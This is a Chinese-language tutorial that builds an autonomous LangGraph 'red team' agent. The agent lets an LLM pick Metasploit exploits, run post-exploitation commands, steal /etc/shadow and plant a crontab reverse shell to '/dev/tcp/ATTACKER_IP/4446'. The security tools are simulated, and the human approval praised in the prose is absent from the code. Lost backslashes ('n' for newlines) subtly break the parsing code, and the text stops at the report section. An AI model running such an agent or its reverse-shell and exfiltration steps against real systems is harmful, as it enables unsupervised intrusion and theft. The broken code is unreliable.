解析‘网络安全红队 Agent’：利用 LangGraph 编排扫描、渗透、横向移动与报告生成的全攻击生命周期

各位编程专家、安全爱好者，大家好！

今天，我们将深入探讨一个前沿且极具挑战性的话题：如何构建一个智能化的“网络安全红队 Agent”，利用 LangGraph 这一强大的编排框架，实现从扫描、渗透、横向移动到报告生成的全攻击生命周期自动化。在当今复杂多变的网络威胁环境中，传统的安全测试方法正面临效率和覆盖面的双重挑战。一个能够模拟真实攻击者行为、自主决策并执行复杂任务的 Agent，无疑将成为提升企业安全防御能力的关键利器。

想象一下，一个能够像经验丰富的红队成员一样思考、规划和行动的自动化系统。它不仅仅是简单地执行脚本，而是能根据实时反馈调整策略，像一名真正的渗透测试员那样，逐步深入目标网络。LangGraph 的出现，为我们构建这样复杂的、状态驱动的智能系统提供了完美的画布。

智能红队 Agent 的核心理念

在深入技术细节之前，我们首先要明确智能红队 Agent 的核心理念。它不再是简单的工具链调用，而是具备以下特征：

1. 目标导向性 (Goal-Oriented)： Agent 被赋予一个高级目标（例如，“获取域管理员权限”），并自主规划实现路径。
2. 环境感知与适应 (Environment Awareness & Adaptation)： Agent 能够从环境中获取信息（扫描结果、系统响应），并根据这些信息动态调整其行为和策略。
3. 自主决策 (Autonomous Decision-Making)： 基于内置的策略、经验知识和实时信息，Agent 能够自主选择下一步行动。
4. 工具编排与执行 (Tool Orchestration & Execution)： Agent 能够智能选择和调用各种安全工具（Nmap, Metasploit, PowerShell等），并处理它们的输出。
5. 状态管理 (State Management)： 在攻击的各个阶段，Agent 需要维护和更新关于目标、已发现漏洞、已获取权限等关键信息。
6. 人类协作 (Human-in-the-Loop)： 在关键决策点或遇到复杂情况时，Agent 能够请求人类专家的介入和指导。

LangGraph 正是为这种状态驱动、多步骤、决策复杂的 Agent 架构而生。它将大型语言模型（LLM）的推理能力与传统编程的逻辑控制完美结合，允许我们定义一个有向无环图（或循环图）来表示 Agent 的决策流程和状态转换。

LangGraph 概览：为何选择它？

LangGraph 是 LangChain 的一个扩展，专注于构建多 Agent 工作流和循环逻辑。它将 LLM 应用视为一个状态机，允许我们定义一系列节点（Nodes）和边（Edges），从而精确控制 Agent 的执行流程。

LangGraph 的核心组件

• State (状态): 这是 Agent 在整个攻击生命周期中维护的共享信息。它可以包含扫描结果、已发现的漏洞、已获取的凭据、当前控制的系统列表等。
• Nodes (节点): 每个节点代表 Agent 的一个操作或决策步骤。它可以是一个工具调用、一个 LLM 调用、一个条件判断，或者是一个自定义函数。
• Edges (边): 边定义了节点之间的转换。它们可以是直接的（无条件转换），也可以是条件性的（根据当前状态或节点输出进行判断）。
• Graph (图): 整个 Agent 的行为逻辑由节点和边构成的一个图表示。

LangGraph 在红队 Agent 中的优势

特性	描述	红队 Agent 应用
状态管理	自动维护并传递 Agent 的当前状态。	存储扫描结果、漏洞信息、渗透进展、已获取权限等，确保信息流的连贯性。
循环与条件逻辑	支持复杂的决策分支和循环执行。	允许 Agent 在渗透失败时尝试其他方法，在发现新目标时重新启动扫描，模拟真实攻击者的试错过程。
LLM 集成	轻松将大型语言模型作为决策引擎或内容生成器。	利用 LLM 进行攻击路径规划、漏洞利用代码生成、安全报告撰写，提升 Agent 的智能水平。
工具集成	方便地将外部工具封装为 Agent 可调用的函数。	将 Nmap、Metasploit、PowerShell 等安全工具集成到 Agent 工作流中，实现自动化操作。
可观测性与调试	图形化的工作流表示有助于理解和调试复杂的 Agent 行为。	帮助安全研究员追踪 Agent 的攻击路径，理解其决策过程，并在出现问题时进行调试。
人类介入 (Human-in-the-Loop)	允许在特定节点暂停执行，等待人类输入或确认。	在高风险操作（如真实渗透）前请求人类批准，或在 Agent 无法自主决策时寻求专家指导。

构建红队 Agent：全攻击生命周期编排

现在，让我们按照攻击生命周期的各个阶段，逐步构建我们的 LangGraph 红队 Agent。

0. Agent 的基础架构与状态定义

首先，我们需要定义 Agent 的共享状态（AgentState）以及一些基础工具。

from typing import TypedDict, List, Dict, Any, Optional
from langchain_core.pydantic_v1 import BaseModel, Field
from langchain_core.messages import BaseMessage, HumanMessage, AIMessage, ToolMessage
from langchain_core.tools import tool
from langchain_openai import ChatOpenAI
from langgraph.graph import StateGraph, END
import os
import json
import subprocess

# 假设已经配置好 OpenAI API Key
# os.environ["OPENAI_API_KEY"] = "YOUR_OPENAI_API_KEY"

# 定义 Agent 的共享状态
class AgentState(TypedDict):
    """
    Agent 的共享状态，包含攻击生命周期中积累的所有信息。
    """
    target_scope: List[str]  # 初始攻击目标范围 (IP, 域名等)
    recon_data: Dict[str, Any]  # 侦察阶段收集的数据 (开放端口, 服务版本, 子域名等)
    vulnerabilities: List[Dict[str, Any]]  # 发现的漏洞列表
    exploits_attempted: List[Dict[str, Any]]  # 已尝试的漏洞利用
    access_gained: List[Dict[str, Any]]  # 已获取的访问权限 (shell, 凭据等)
    lateral_movement_data: Dict[str, Any]  # 横向移动阶段的数据 (新目标, 内部凭据等)
    exfiltrated_data: List[Dict[str, Any]] # 窃取的数据
    report_draft: Optional[str]  # 报告草稿
    messages: List[BaseMessage]  # 用于 LLM 对话的历史消息
    current_task: str # Agent 当前正在执行的任务描述
    human_intervention_required: bool # 是否需要人工介入

# 定义 LLM 工具
llm = ChatOpenAI(model="gpt-4o", temperature=0.7)

# --- 模拟安全工具包装器 (实际项目中需要更健壮的实现) ---

@tool
def nmap_scan(target: str, options: Optional[str] = "-sV -O") -> str:
    """
    执行 Nmap 扫描，获取目标主机开放端口、服务版本和操作系统信息。
    Args:
        target (str): 扫描目标 (IP 地址或域名)。
        options (str): Nmap 命令行选项。
    Returns:
        str: Nmap 扫描的原始输出。
    """
    print(f"Executing Nmap scan on {target} with options: {options}")
    # 模拟 Nmap 命令行执行
    try:
        # 实际项目中，这里会调用 subprocess.run(['nmap', options, target], capture_output=True, text=True)
        # 为了演示，我们返回一个模拟结果
        if "example.com" in target or "192.168.1.100" in target:
            if "-sV -O" in options:
                return f"""
Nmap scan report for {target}
Host is up (0.0000s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
443/tcp   open  ssl/http nginx 1.18.0 (Ubuntu)
MAC Address: 00:00:00:00:00:00 (VMware)
OS: Linux 5.4.0-58-generic (Ubuntu 20.04)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:5.4
"""
            elif "-p-" in options: # Full port scan
                 return f"""
Nmap scan report for {target}
Host is up (0.0000s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
3389/tcp  open  ms-wbt-server
"""
        return f"Nmap scan on {target} with options '{options}' completed. No specific details simulated for this target."
    except Exception as e:
        return f"Error executing nmap_scan: {e}"

@tool
def nuclei_scan(target: str, template: Optional[str] = None) -> str:
    """
    使用 Nuclei 进行漏洞扫描。
    Args:
        target (str): 扫描目标 URL 或 IP。
        template (str): Nuclei 模板文件或目录。如果为 None，则运行默认模板。
    Returns:
        str: Nuclei 扫描的原始输出。
    """
    print(f"Executing Nuclei scan on {target} with template: {template if template else 'default'}")
    # 模拟 Nuclei 命令行执行
    try:
        # 实际项目中，这里会调用 subprocess.run(['nuclei', '-target', target, '-t', template], capture_output=True, text=True)
        # 为了演示，我们返回一个模拟结果
        if "http://example.com" in target or "https://example.com" in target:
            if "nginx-insecure-version" in str(template):
                return f"""
[nginx-insecure-version] http://example.com: Found Nginx 1.18.0, which is an outdated version.
[cve-2021-xxxx] http://example.com: Possible vulnerability found in Nginx 1.18.0.
"""
            else:
                return f"Nuclei scan on {target} completed. No specific vulnerabilities found in this simulation."
        return f"Nuclei scan on {target} completed. No specific vulnerabilities found."
    except Exception as e:
        return f"Error executing nuclei_scan: {e}"

@tool
def metasploit_exploit(module: str, target_host: str, payload: str, rport: int, options: Dict[str, Any]) -> str:
    """
    使用 Metasploit Framework 执行漏洞利用。
    Args:
        module (str): Metasploit 模块路径 (e.g., 'exploit/multi/http/apache_ofbiz_rce').
        target_host (str): 目标主机 IP。
        payload (str): Metasploit payload (e.g., 'cmd/unix/reverse_netcat').
        rport (int): 远程端口。
        options (Dict[str, Any]): 其他模块选项。
    Returns:
        str: Metasploit 执行结果，包括是否获取到会话。
    """
    print(f"Executing Metasploit exploit: {module} on {target_host}:{rport} with payload {payload}")
    # 模拟 Metasploit 执行
    try:
        if "exploit/linux/http/nginx_chunked_encoding" in module and target_host == "192.168.1.100":
            if rport == 80:
                return "Metasploit exploit successful! Session 1 opened (shell/linux/x64/meterpreter) on 192.168.1.100."
            else:
                return "Metasploit exploit failed. Port mismatch."
        return f"Metasploit exploit '{module}' on {target_host} attempted. Result: Failed (simulated)."
    except Exception as e:
        return f"Error executing metasploit_exploit: {e}"

@tool
def execute_shell_command(host: str, command: str, access_type: str = "ssh", credentials: Optional[Dict[str, str]] = None) -> str:
    """
    在已获取访问权限的主机上执行 shell 命令。
    Args:
        host (str): 目标主机 IP。
        command (str): 要执行的 shell 命令。
        access_type (str): 访问类型 ('ssh', 'meterpreter', 'smb', etc.)。
        credentials (Dict[str, str]): 凭据信息 (如果需要)。
    Returns:
        str: 命令执行的输出。
    """
    print(f"Executing command '{command}' on {host} via {access_type}")
    # 模拟命令执行
    if "whoami" in command and host == "192.168.1.100":
        return "root" if "root" in str(credentials) else "www-data"
    if "ls /" in command and host == "192.168.1.100":
        return "bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var"
    if "cat /etc/passwd" in command and host == "192.168.1.100":
        return "root:x:0:0:root:/root:/bin/bashnwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"
    if "mimikatz" in command and "windows-server" in host: # Simulate Windows host
        return "Mimikatz output: Found 'Administrator:Password123' in memory."
    return f"Command '{command}' on {host} executed. (simulated output)"

@tool
def report_findings(findings: Dict[str, Any]) -> str:
    """
    根据 Agent 收集到的发现生成报告草稿。
    Args:
        findings (Dict[str, Any]): 包含所有发现的字典。
    Returns:
        str: 结构化的报告草稿。
    """
    print("Generating report draft...")
    # 实际项目中，这里会使用 LLM 生成更详细的报告
    report_content = "### 红队渗透测试报告草稿nn"
    report_content += "#### 目标范围:n"
    report_content += f"- {', '.join(findings.get('target_scope', []))}nn"
    report_content += "#### 侦察与扫描发现:n"
    for target, data in findings.get('recon_data', {}).items():
        report_content += f"- **{target}**:n"
        report_content += f"  - 开放端口: {data.get('open_ports', 'N/A')}n"
        report_content += f"  - 操作系统: {data.get('os', 'N/A')}n"
        report_content += f"  - 服务版本: {data.get('services', 'N/A')}n"
    report_content += "n#### 发现的漏洞:n"
    for vuln in findings.get('vulnerabilities', []):
        report_content += f"- **{vuln.get('name', '未知漏洞')}** (目标: {vuln.get('target', 'N/A')}):n"
        report_content += f"  - 描述: {vuln.get('description', 'N/A')}n"
        report_content += f"  - 严重性: {vuln.get('severity', 'N/A')}n"
    report_content += "n#### 渗透与访问:n"
    for access in findings.get('access_gained', []):
        report_content += f"- 成功获取 {access.get('type')} 访问到 {access.get('host')} (用户: {access.get('user', 'N/A')})n"
    report_content += "n#### 横向移动与持久化:n"
    if findings.get('lateral_movement_data'):
        report_content += json.dumps(findings.get('lateral_movement_data'), indent=2) + "n"
    report_content += "n#### 数据窃取:n"
    for data in findings.get('exfiltrated_data', []):
        report_content += f"- {data.get('description', '未知数据')} 从 {data.get('source_host', 'N/A')} 窃取。n"

    report_content += "n#### 建议:n"
    report_content += "- 修复发现的所有漏洞。n"
    report_content += "- 实施更严格的访问控制。n"
    report_content += "- 加强网络分段。n"
    return report_content

# 将工具绑定到 LLM
tools = [nmap_scan, nuclei_scan, metasploit_exploit, execute_shell_command, report_findings]
llm_with_tools = llm.bind_tools(tools)

1. 阶段：侦察与扫描 (Reconnaissance & Scanning)

目标： 收集目标信息，识别开放端口、服务、操作系统，并发现潜在漏洞。

Agent 逻辑：

1. 初始化： 接收初始目标范围。
2. 端口扫描： 对目标执行 Nmap 扫描，识别开放端口和服务。
3. 漏洞发现： 根据 Nmap 结果，对开放的服务执行更深入的漏洞扫描（例如使用 Nuclei）。
4. 数据解析与更新： 解析扫描结果，更新 Agent 状态中的 recon_data 和 vulnerabilities。
5. 决策： 如果发现漏洞，则进入渗透阶段；否则，可能需要更深入的侦察（如子域名枚举，此处简化）。

LangGraph 节点与边定义

# 节点函数
def initialize_recon(state: AgentState):
    """初始化侦察任务，设置当前任务并返回。"""
    print("n--- Phase: Initialization & Reconnaissance ---")
    return {**state, "current_task": "初始化侦察并规划扫描"}

def perform_nmap_scan(state: AgentState):
    """
    根据目标范围执行 Nmap 扫描。
    """
    print(f"Agent: Performing Nmap scan on {state['target_scope']}")
    recon_data = state.get("recon_data", {})
    messages = state.get("messages", [])

    for target in state["target_scope"]:
        tool_call = nmap_scan.invoke({"target": target, "options": "-sV -O"})
        messages.append(AIMessage(content=f"Called nmap_scan for {target}"))
        messages.append(ToolMessage(content=tool_call, tool_call_id="nmap_scan_id")) # Simplified tool_call_id

        # 解析 Nmap 输出 (这里需要更复杂的解析逻辑)
        parsed_output = {}
        if "Nmap scan report" in tool_call:
            parsed_output["raw_output"] = tool_call
            ports_info = []
            os_info = "Unknown"
            services_info = []

            for line in tool_call.split('n'):
                if "/tcp" in line and "open" in line:
                    parts = line.split()
                    ports_info.append(f"{parts[0]} ({parts[2]} {parts[3] if len(parts) > 3 else ''})")
                    services_info.append(f"{parts[2]} {parts[3] if len(parts) > 3 else ''}")
                if "OS:" in line:
                    os_info = line.split("OS: ")[1].split('(')[0].strip()

            parsed_output["open_ports"] = ", ".join(ports_info)
            parsed_output["os"] = os_info
            parsed_output["services"] = ", ".join(services_info)

        recon_data[target] = parsed_output

    return {**state, "recon_data": recon_data, "messages": messages, "current_task": "Nmap扫描完成"}

def discover_vulnerabilities(state: AgentState):
    """
    根据 Nmap 结果发现漏洞。
    """
    print("Agent: Discovering vulnerabilities using Nuclei and LLM analysis.")
    vulnerabilities = state.get("vulnerabilities", [])
    recon_data = state.get("recon_data", {})
    messages = state.get("messages", [])

    for target, data in recon_data.items():
        if "open_ports" in data:
            # LLM 辅助决策：根据开放端口和服务，判断可能需要运行的 Nuclei 模板
            llm_prompt = HumanMessage(f"Based on the following Nmap scan results for {target}:n{data.get('raw_output', '')}nnWhat are some potential high-level vulnerabilities or services that might be worth scanning with Nuclei? Suggest relevant Nuclei templates if possible, or indicate if a generic scan is appropriate. Respond concisely.")
            messages.append(llm_prompt)
            llm_response = llm.invoke(messages)
            messages.append(llm_response)

            # 假设 LLM 响应中包含建议的模板或指示进行通用扫描
            # For demonstration, we'll hardcode some logic
            if "80/tcp" in data.get("open_ports", "") or "443/tcp" in data.get("open_ports", ""):
                web_target = f"http://{target}" if "80/tcp" in data.get("open_ports", "") else f"https://{target}"

                # Check for Nginx version
                if "nginx" in data.get("services", "") and "1.18.0" in data.get("services", ""):
                    nuclei_output = nuclei_scan.invoke({"target": web_target, "template": "nginx-insecure-version"})
                    messages.append(AIMessage(content=f"Called nuclei_scan for {web_target} with template nginx-insecure-version"))
                    messages.append(ToolMessage(content=nuclei_output, tool_call_id="nuclei_scan_nginx_id"))
                    if "Found Nginx 1.18.0" in nuclei_output:
                        vulnerabilities.append({
                            "name": "Outdated Nginx Version",
                            "target": target,
                            "port": "80/443",
                            "service": "nginx 1.18.0",
                            "description": "Nginx 1.18.0 is an outdated version with known vulnerabilities. Consider CVE-2021-xxxx.",
                            "severity": "High",
                            "raw_output": nuclei_output
                        })

                # Generic HTTP/HTTPS scan
                nuclei_output = nuclei_scan.invoke({"target": web_target}) # Generic scan
                messages.append(AIMessage(content=f"Called nuclei_scan for {web_target} (generic)"))
                messages.append(ToolMessage(content=nuclei_output, tool_call_id="nuclei_scan_generic_id"))
                if "vulnerability found" in nuclei_output.lower():
                     vulnerabilities.append({
                        "name": "Generic Web Vulnerability",
                        "target": target,
                        "port": "80/443",
                        "service": "HTTP/HTTPS",
                        "description": "Nuclei detected a potential web vulnerability. See raw output.",
                        "severity": "Medium",
                        "raw_output": nuclei_output
                    })

    return {**state, "vulnerabilities": vulnerabilities, "messages": messages, "current_task": "漏洞发现完成"}

# 决策函数
def decide_next_step_after_recon(state: AgentState):
    """
    根据侦察结果决定下一步是渗透还是继续侦察。
    """
    if state.get("vulnerabilities"):
        print("Agent: Vulnerabilities found. Proceeding to Initial Penetration.")
        return "penetrate"
    else:
        print("Agent: No immediate vulnerabilities found. Considering further reconnaissance or reporting.")
        # 在真实场景中，这里可能会有更多的侦察策略，比如子域名枚举，或者直接结束报告
        return "report" # For simplicity, if no vulns, go to report

2. 阶段：初始渗透 (Initial Penetration)

目标： 利用发现的漏洞，获取目标系统的初始访问权限。

Agent 逻辑：

1. 漏洞分析与优先级： LLM 分析 vulnerabilities 列表，评估严重性，并选择最具可行性的漏洞进行利用。
2. 利用模块选择： 根据漏洞信息，LLM 建议合适的 Metasploit 模块或生成自定义利用代码。
3. 漏洞利用： 执行选定的利用方法。
4. 访问验证： 验证是否成功获取访问权限（例如，执行 whoami 命令）。
5. 状态更新： 更新 exploits_attempted 和 access_gained。
6. 决策： 如果成功获取权限，进入横向移动；否则，尝试其他漏洞或报告失败。

LangGraph 节点与边定义

def select_and_exploit_vulnerability(state: AgentState):
    """
    LLM 分析漏洞并选择利用模块，然后执行渗透。
    """
    print("n--- Phase: Initial Penetration ---")
    messages = state.get("messages", [])
    vulnerabilities = state.get("vulnerabilities", [])
    exploits_attempted = state.get("exploits_attempted", [])
    access_gained = state.get("access_gained", [])

    if not vulnerabilities:
        messages.append(AIMessage(content="No vulnerabilities found to exploit. Skipping penetration phase."))
        return {**state, "messages": messages, "current_task": "无漏洞可利用，跳过渗透"}

    # 让 LLM 分析漏洞并建议利用方案
    llm_prompt = HumanMessage(f"Here are the identified vulnerabilities:n{json.dumps(vulnerabilities, indent=2)}nnBased on these, suggest the most promising vulnerability to exploit first. For the chosen vulnerability, recommend a suitable Metasploit module and payload, and any necessary options. If no Metasploit module seems directly applicable, suggest a manual approach or indicate if no exploit is feasible. Be specific with module names and parameters.")
    messages.append(llm_prompt)
    llm_response = llm.invoke(messages)
    messages.append(llm_response)

    # 假设 LLM 响应包含模块、目标、端口和选项
    # For demonstration, we'll parse a simplified LLM output or hardcode
    chosen_exploit = None
    if "nginx_chunked_encoding" in llm_response.content.lower() and "192.168.1.100" in llm_response.content:
        chosen_exploit = {
            "module": "exploit/linux/http/nginx_chunked_encoding",
            "target_host": "192.168.1.100",
            "payload": "cmd/unix/reverse_netcat",
            "rport": 80,
            "options": {"LHOST": "ATTACKER_IP", "LPORT": 4444} # Placeholder for attacker IP
        }
    elif "nginx-insecure-version" in llm_response.content.lower() and "example.com" in llm_response.content:
         chosen_exploit = {
            "module": "exploit/multi/http/nginx_outdated_version", # Fictional module for demonstration
            "target_host": "example.com",
            "payload": "cmd/unix/reverse_netcat",
            "rport": 80,
            "options": {"LHOST": "ATTACKER_IP", "LPORT": 4445}
        }

    if chosen_exploit:
        exploit_result = metasploit_exploit.invoke(chosen_exploit)
        messages.append(AIMessage(content=f"Called metasploit_exploit: {chosen_exploit['module']}"))
        messages.append(ToolMessage(content=exploit_result, tool_call_id="metasploit_exploit_id"))

        exploits_attempted.append({**chosen_exploit, "result": exploit_result})

        if "Session 1 opened" in exploit_result:
            print("Agent: Initial access gained!")
            access_gained.append({
                "type": "shell",
                "host": chosen_exploit["target_host"],
                "user": "unknown (awaiting post-exploit)",
                "details": exploit_result
            })
            return {**state, "messages": messages, "exploits_attempted": exploits_attempted,
                    "access_gained": access_gained, "current_task": "初始访问成功"}
        else:
            print("Agent: Exploit failed. Trying another or moving on.")
            # 在实际中，这里可以再次让 LLM 选择下一个漏洞
            return {**state, "messages": messages, "exploits_attempted": exploits_attempted,
                    "current_task": "漏洞利用失败，考虑其他路径"}
    else:
        messages.append(AIMessage(content="LLM did not suggest a concrete exploit or no exploitable path found."))
        print("Agent: No concrete exploit suggested by LLM or no exploitable path found.")
        return {**state, "messages": messages, "current_task": "无具体利用方案，跳过渗透"}

# 决策函数
def decide_after_penetration(state: AgentState):
    """
    根据是否获取到访问权限决定下一步。
    """
    if state.get("access_gained"):
        return "lateral_movement"
    else:
        # 如果没有成功渗透，可以考虑重新进行侦察，或者直接报告
        print("Agent: Failed to gain initial access. Proceeding to report.")
        return "report"

3. 阶段：横向移动与持久化 (Lateral Movement & Persistence)

目标： 在目标网络内部扩展控制，发现新目标，提升权限，并建立持久化访问。

Agent 逻辑：

1. 后渗透侦察： 在已获取访问权限的主机上执行命令（whoami, ipconfig, netstat, cat /etc/passwd, ls -laR 等），收集系统和网络信息，寻找凭据。
2. 凭据窃取： 尝试窃取凭据（例如，模拟 Mimikatz 或读取配置文件）。
3. 新目标识别： 根据收集到的网络信息（如 netstat 输出），识别内部网络中的新目标。
4. 横向移动： 使用窃取的凭据或发现的新漏洞，尝试访问新目标。
5. 持久化： 建立后门或计划任务，确保长期访问。
6. 决策： 如果发现新目标或成功横向移动，则循环回渗透或侦察新目标；否则，进入数据窃取或报告。

LangGraph 节点与边定义

def post_exploitation_and_lateral_movement(state: AgentState):
    """
    在已获取权限的主机上执行后渗透侦察，尝试横向移动。
    """
    print("n--- Phase: Lateral Movement & Persistence ---")
    messages = state.get("messages", [])
    access_gained = state.get("access_gained", [])
    lateral_movement_data = state.get("lateral_movement_data", {})

    if not access_gained:
        messages.append(AIMessage(content="No access gained for lateral movement. Skipping this phase."))
        return {**state, "messages": messages, "current_task": "无访问权限进行横向移动"}

    current_access = access_gained[0] # Simplification: assume we work with the first gained access
    target_host = current_access["host"]

    messages.append(HumanMessage(f"We have initial access on {target_host}. What post-exploitation steps should we take to gather information, find credentials, and identify new internal targets? Think about common Linux/Windows commands and tools like Mimikatz."))
    llm_response = llm.invoke(messages)
    messages.append(llm_response)

    # Simulate LLM suggesting commands
    suggested_commands = [
        "whoami",
        "ip a",
        "netstat -tuln",
        "cat /etc/passwd",
        "find / -name '*.conf' 2>/dev/null", # Example for config files
        # For Windows: "systeminfo", "tasklist", "net user", "wmic qfe get Caption,HotFixID", "mimikatz.exe sekurlsa::logonpasswords"
    ]

    host_lateral_data = lateral_movement_data.get(target_host, {})
    collected_info = {}

    for cmd in suggested_commands:
        print(f"Agent: Executing post-exploitation command: {cmd} on {target_host}")
        command_output = execute_shell_command.invoke({
            "host": target_host,
            "command": cmd,
            "access_type": current_access["type"],
            "credentials": current_access.get("credentials")
        })
        messages.append(AIMessage(content=f"Executed '{cmd}' on {target_host}"))
        messages.append(ToolMessage(content=command_output, tool_call_id=f"exec_cmd_{cmd.replace(' ', '_')}"))
        collected_info[cmd] = command_output

        # Simple credential parsing
        if "Mimikatz output: Found" in command_output:
            credential = command_output.split("'")[1] # "Administrator:Password123"
            host_lateral_data["credentials_found"] = host_lateral_data.get("credentials_found", []) + [credential]
            print(f"Agent: Found credentials: {credential}")
        if "root:x:0:0" in command_output:
            host_lateral_data["local_users"] = host_lateral_data.get("local_users", []) + ["root"]

    host_lateral_data["collected_info"] = collected_info
    lateral_movement_data[target_host] = host_lateral_data

    # LLM 分析收集到的信息，寻找新目标或横向移动机会
    llm_prompt_analysis = HumanMessage(f"We have collected the following information from {target_host}:n{json.dumps(collected_info, indent=2)}nnBased on this, identify any new internal IP addresses, potential vulnerable services, or opportunities for lateral movement. Suggest a new target or a lateral movement technique.")
    messages.append(llm_prompt_analysis)
    llm_response_analysis = llm.invoke(messages)
    messages.append(llm_response_analysis)

    # Simulate LLM finding a new target or suggesting lateral move
    new_target_ip = None
    if "192.168.1.101" in llm_response_analysis.content: # Example: LLM found a new IP from `ip a` output
        new_target_ip = "192.168.1.101"
        messages.append(AIMessage(content=f"Identified new internal target: {new_target_ip}"))
        # Add new target to scope for re-scanning or direct attack
        if new_target_ip not in state["target_scope"]:
             state["target_scope"].append(new_target_ip)
             state["recon_data"][new_target_ip] = {} # Initialize recon data for new target
             print(f"Agent: Added {new_target_ip} to target scope for further reconnaissance.")

    # Simplified persistence: Assume LLM decided to establish persistence
    if "establish persistence" in llm_response_analysis.content.lower():
         persistence_command = "echo '* * * * * root /bin/bash -i >& /dev/tcp/ATTACKER_IP/4446 0>&1' | tee -a /etc/crontab"
         persistence_result = execute_shell_command.invoke({"host": target_host, "command": persistence_command, "access_type": current_access["type"]})
         messages.append(AIMessage(content=f"Attempted to establish persistence on {target_host}"))
         messages.append(ToolMessage(content=persistence_result, tool_call_id="persistence_cmd_id"))
         host_lateral_data["persistence_established"] = True
         print(f"Agent: Attempted to establish persistence on {target_host}.")

    return {**state, "messages": messages, "lateral_movement_data": lateral_movement_data, "current_task": "横向移动与持久化完成"}

# 决策函数
def decide_after_lateral_movement(state: AgentState):
    """
    根据横向移动阶段是否发现新目标或更高权限决定下一步。
    """
    if state["target_scope"] and len(state["target_scope"]) > len(state["recon_data"]):
        # If new targets were added but not yet scanned
        print("Agent: New targets identified. Restarting reconnaissance for new targets.")
        return "recon_new_target" # Loop back to recon

    for host_data in state.get("lateral_movement_data", {}).values():
        if host_data.get("credentials_found"):
            print("Agent: Credentials found during lateral movement. Considering further exploitation or data exfiltration.")
            return "data_exfiltration" # Or loop back to penetration with new creds

    print("Agent: No further lateral movement opportunities or new targets immediately apparent. Proceeding to data exfiltration or reporting.")
    return "data_exfiltration" # If nothing else, try to exfiltrate or report

4. 阶段：数据窃取与影响 (Data Exfiltration & Impact)

目标： 模拟攻击者最终目标，窃取敏感数据，或演示攻击对业务的影响。

Agent 逻辑：

1. 数据识别： LLM 分析已获取主机的权限和文件系统信息，识别潜在敏感数据的位置。
2. 窃取策略： LLM 制定数据窃取策略（例如，下载文件、数据库导出）。
3. 数据窃取： 模拟执行数据窃取操作。
4. 影响演示： （可选）模拟对目标系统的影响（如篡改文件、服务中断，需极度谨慎）。
5. 状态更新： 更新 exfiltrated_data。
6. 决策： 完成窃取后，进入报告阶段。

LangGraph 节点与边定义

@tool
def exfiltrate_data(source_host: str, file_path: str, method: str = "http_upload") -> str:
    """
    模拟从目标主机窃取数据。
    Args:
        source_host (str): 数据来源主机。
        file_path (str): 目标文件路径。
        method (str): 窃取方法 (e.g., "http_upload", "dns_tunnel", "scp").
    Returns:
        str: 窃取结果。
    """
    print(f"Simulating data exfiltration of '{file_path}' from {source_host} via {method}")
    if "/etc/shadow" in file_path and source_host == "192.168.1.100":
        return f"Successfully exfiltrated /etc/shadow from {source_host} using {method}. Data: [HASHES_SIMULATED]"
    if "/var/www/html/config.php" in file_path and source_host == "example.com":
        return f"Successfully exfiltrated /var/www/html/config.php from {source_host} using {method}. Contains DB credentials."
    return f"Failed to exfiltrate '{file_path}' from {source_host} (simulated failure or not found)."

tools.append(exfiltrate_data) # Add new tool
llm_with_tools = llm.bind_tools(tools) # Rebind tools to LLM

def data_exfiltration_and_impact(state: AgentState):
    """
    识别敏感数据并尝试窃取，可选地演示影响。
    """
    print("n--- Phase: Data Exfiltration & Impact ---")
    messages = state.get("messages", [])
    access_gained = state.get("access_gained", [])
    exfiltrated_data = state.get("exfiltrated_data", [])

    if not access_gained:
        messages.append(AIMessage(content="No access gained to exfiltrate data. Skipping this phase."))
        return {**state, "messages": messages, "current_task": "无访问权限进行数据窃取"}

    current_access = access_gained[0]
    target_host = current_access["host"]

    messages.append(HumanMessage(f"We have access to {target_host}. What sensitive data might be present and where? Suggest files like /etc/shadow, database configs, web application source code. Formulate a plan to exfiltrate the most critical data."))
    llm_response = llm.invoke(messages)
    messages.append(llm_response)

    # Simulate LLM suggesting files to exfiltrate
    files_to_exfiltrate = []
    if "/etc/shadow" in llm_response.content:
        files_to_exfiltrate.append("/etc/shadow")
    if "config.php" in llm_response.content:
        files_to_exfiltrate.append("/var/www/html/config.php") # Example for web server

    for file_path in files_to_exfiltrate:
        exfil_result = exfiltrate_data.invoke({"source_host": target_host, "file_path": file_path, "method": "scp"})
        messages.append(AIMessage(content=f"Called exfiltrate_data for {file_path}"))
        messages.append(ToolMessage(content=exfil_result, tool_call_id=f"exfil_data_{file_path.replace('/', '_')}"))
        if "Successfully exfiltrated" in exfil_result:
            exfiltrated_data.append({
                "description": f"Sensitive file {file_path}",
                "source_host": target_host,
                "result": exfil_result
            })
            print(f"Agent: Successfully exfiltrated {file_path}.")
        else:
            print(f"Agent: Failed to exfiltrate {file_path}.")

    # --- 模拟影响演示 (高度敏感，实际操作需严格控制) ---
    # messages.append(HumanMessage(f"Should we attempt to demonstrate impact on {target_host}? Suggest a safe, reversible action, e.g., creating a deface file on a web server or temporarily stopping a non-critical service."))
    # llm_response_impact = llm.invoke(messages)
    # messages.append(llm_response_impact)
    # if "deface web page" in llm_response_impact.content.lower():
    #     impact_cmd = "echo '<h1>Hacked by Red Team Agent!</h1>' > /var/www/html/index.html"
    #     impact_result = execute_shell_command.invoke({"host": target_host, "command": impact_cmd, "access_type": current_access["type"]})
    #     messages.append(AIMessage(content=f"Attempted to deface web page on {target_host}"))
    #     messages.append(ToolMessage(content=impact_result, tool_call_id="impact_deface_id"))
    #     print(f"Agent: Attempted to deface web page on {target_host}. Result: {impact_result}")
    # --- 结束模拟影响演示 ---

    return {**state, "messages": messages, "exfiltrated_data": exfiltrated_data, "current_task": "数据窃取与影响完成"}

5. 阶段：报告生成 (Report Generation)

目标： 整合所有发现和执行步骤，生成一份结构化的渗透测试报告。

Agent 逻辑：

1. 数据整合： 从 Agent 的整个状态中提取所有关键信息（目标、扫描结果、漏洞、利用过程、获取权限、横向移动、窃取数据）。
2. 报告结构化： LLM 根据标准报告模板，将整合的数据填充到报告中。
3. 内容生成： LLM 撰写报告的叙述部分、技术细节和安全建议。
